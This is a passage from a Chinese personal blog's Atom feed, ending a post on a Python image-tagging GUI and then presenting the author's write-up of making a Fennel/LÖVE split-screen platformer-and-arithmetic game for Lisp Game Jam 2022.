&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            try&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                image_display&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; Image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;filename&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            except&lt;&#x2F;span&gt;&lt;span&gt; UnidentifiedImageError&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                sg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;popup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;Can’t open &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;filename&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; as an image.&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                image_display&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;thumbnail&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;image_area_size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                image_display&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ImageTk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;PhotoImage&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;image_display&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                window&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-IMAGE-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span&gt;update&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;image_display&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                image_evaluate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; prepare_image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;filename&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;input_shape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; evaluate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;image_evaluate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [(&lt;&#x2F;span&gt;&lt;span&gt;tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;reliability&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:.0%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; reliability&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                window&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-TABLE-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span&gt;update&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;                    visible&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; values&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; num_rows&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;                )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;window&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;close&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另外在笔记本上安装&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TensorFlow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时出现了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CondaVerificationError，竟然是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;58918985&#x2F;got-condaverificationerror-when-installing-tensorflow&quot;&gt;由于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;路径长度限制引起的&lt;&#x2F;a&gt;。更令人惊讶的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;已经取消了最长限制。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;deepdanbooru
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;deepdanbooru&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Lisp Game Jam 2022</title>
    <published>2022-11-10T12:04:29+00:00</published>
    <updated>2023-08-20T15:25:59+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/lisp-game-jam-2022/" type="text/html" />
    <id>https://emptystack.top/lisp-game-jam-2022/</id>
    <content type="html">
      &lt;p&gt;出于对游戏的爱，参加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;game
jam&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的冲动常伴我左右；出于对“建筑美”的爱，使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编程的冲动同样常伴我左右&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;Game
jam&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是一种参与者在规定天数内做出一款游戏并参加评比的活动。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;当我得知这世界上有以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为主题的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;game
jam&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时，我没想太多就参加了。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#到底用哪款Lisp&quot;&gt;到底用哪款Lisp&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#做什么样的游戏&quot;&gt;做什么样的游戏&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#怎么做&quot;&gt;怎么做&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#Parinfer&quot;&gt;Parinfer&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#魔鬼计算&quot;&gt;魔鬼计算&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#平台跳跃&quot;&gt;平台跳跃&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#音乐和音效&quot;&gt;音乐和音效&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#问答&quot;&gt;问答&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;到底用哪款Lisp&quot;&gt;到底用哪款&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;&#x2F;h2&gt;
&lt;p&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是一系列语言的统称，想要做游戏的话得先确定到底使用哪一种&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;方言。我其实没怎么使用过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp，只浅尝过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Racket&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs
Lisp（Elisp&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。Elisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;依托于一个很小众的编辑器&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs，如果使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Elisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写游戏的话直接就把大部分玩家拒之门外了。因此我最初的选择是使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Racket。&lt;&#x2F;p&gt;
&lt;p&gt;由于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#Pollen&quot;&gt;Pollen&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的原因，我对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Racket&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;印象很好。可是经过一番搜索，发现使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Racket&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的游戏引擎都像是玩具项目——虽然我要做的也是玩具游戏，但使用别人的玩具项目实现自己的想法估计会很痛苦。所以我又准备放弃&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Racket。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;随后我想起了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;ruby&gt;Fennel&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;茴香&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;。Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Source-to-source&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编译器：它接收&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码，吐出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码。因此，可以把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编程的著名独立游戏引擎&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;合起来用。我之前没有尝试&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的原因是不会&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua，但这几个月&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;&quot;&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写了好多&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc
filter&lt;&#x2F;a&gt;，已经没有理由拒绝&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。另外，Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;接受的代码与其说是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp，不如说是披着括号的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua——这意味着它对于使用过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的人来说易于上手。所以，在想到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel +
LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的组合后，我就决定不再变更工具方面的计划了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20221109_185854573.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20221109_185854573.0dae96d89ebc2087.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20221109_185854573.9a42ba9334d52afa.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20221109_185854573.480140026bf7c172.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20221109_185854573.9a42ba9334d52afa.webp&quot;
	alt=&quot;超市里的Fennel&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;做什么样的游戏&quot;&gt;做什么样的游戏&lt;&#x2F;h2&gt;
&lt;p&gt;在《高达》系列里经常可以看到驾驶员用精神力控制好几门浮在空中的激光炮（浮游炮）上下翻飞从四面八方以各种角度同时攻击对手。Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和浮游炮的英文“Funnel”很像，所以我最开始准备做一款浮游炮模拟器。具体来说，就是升级版的《Asteroids&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;：原版《Asteroids》是控制一艘飞船射击陨石，我想做的是同时控制好几艘飞船射击陨石。我的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;sinofp.itch.io&#x2F;whale-oil&quot;&gt;第一款游戏&lt;&#x2F;a&gt;就是跟着油管上的教程做的翻版《Asteroids&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，虽然它的代码丢失了，但重写一遍应该难度不大。&lt;&#x2F;p&gt;
&lt;p&gt;之所以要强调同时操控多艘飞船，除去向《高达》系列致敬的原因，还因为&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;Sora_Sakurai&#x2F;status&#x2F;1469503298730602498&quot;&gt;樱井政博可以一个人玩双人游戏&lt;&#x2F;a&gt;——他玩的双人游戏是为双人设计的，我则想&lt;strong&gt;探索为单人设计的多人游戏会不会好玩&lt;&#x2F;strong&gt;。在最终的游戏中看不到任何浮游炮的痕迹，但是“为单人设计的多人游戏”的思想得到了贯彻。另外我的答案是：会好玩。你也可以&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;sinofp.itch.io&#x2F;calculate-to-jump&quot;&gt;去体验一下&lt;&#x2F;a&gt;会不会好玩。&lt;&#x2F;p&gt;
&lt;p&gt;继续说回游戏机制的变迁。&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;多艘飞船”的想法很快得到了否定——想法是吃饭时想出的，否定是吃完饭否定的——因为玩家完全可以用一艘飞船击毁所有陨石。如果不强迫玩家使用多艘飞船的话就不能解答我的问题，而且做出的游戏也就等同于原版《Asteroids&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;强迫控制多艘飞船的方法很简单：把屏幕分割成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;N&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;份，每份是单独的世界&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;想到这里我突然想起了一款&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;mainichi.jp&#x2F;english&#x2F;articles&#x2F;20220916&#x2F;p2a&#x2F;00m&#x2F;0sc&#x2F;017000c&quot;&gt;有两个屏幕的计算器软件&lt;&#x2F;a&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;这是可行的方法，然而灵感马上又更进一步：都分屏了，为什么不同屏幕还要玩同样的游戏？犹记得小时候玩过的“左手捶腿，右手搓腿”游戏：刚开始时两只手很容易干同样的事——换句话说，将屏幕一分为二后，同时玩不同的小游戏比相同的小游戏更有挑战性。&lt;&#x2F;p&gt;
&lt;p&gt;就这样决定了！左边屏幕玩《Asteroids&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，右边屏幕玩别的游戏。可是，右边具体是什么游戏呢？最好是和左边越不一样越好，要一点动作元素都没有的那种——我还真写过这样的游戏：&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;simple-devilish-calculatons&#x2F;&quot;&gt;魔鬼计算&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。左右两边各玩各的可没意思，所以我设计了联动机制：如果计算题答对了，飞船可以多射出一道激光；反之则少一道。&lt;&#x2F;p&gt;
&lt;p&gt;直到第三天（这次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;game
jam&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一共十天）我才发现用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;很难实现《Asteroids&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;：陨石是不规则的多边形，LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自带的碰撞检测很繁琐——甚至官方&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;wiki&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都不推荐用，而&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;vrld&#x2F;HC#this-repository-is-no-longer-maintained&quot;&gt;支持检测多边形的第三方库又停止维护了&lt;&#x2F;a&gt;。回想一下，貌似我之前使用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GameMaker
Studio&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自带易用的碰撞检测功能，所以没遇到相关问题。总之，为了保证规定时间内能做完游戏，我决定把左屏换成其他游戏。&lt;&#x2F;p&gt;
&lt;p&gt;LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;社区里有个&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kikito&#x2F;bump.lua&quot;&gt;口碑不错的矩形碰撞检测库&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bump.lua&lt;&#x2F;a&gt;，所以左屏的游戏最好是基于方格的游戏：比如平台跳跃类。我感觉整个世界在衰退，所以决定做一个世界在向下滚动，而主角为了求生必须向上跳的游戏——可以说是《是男人就下一百层》的颠倒版。如果右边的计算题答对了，主角多一次跳跃机会；反之少一次。下图就是最终游戏。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;批注 2022-11-07 013345-fs8.png&quot; target=&quot;_blank&quot;&gt;
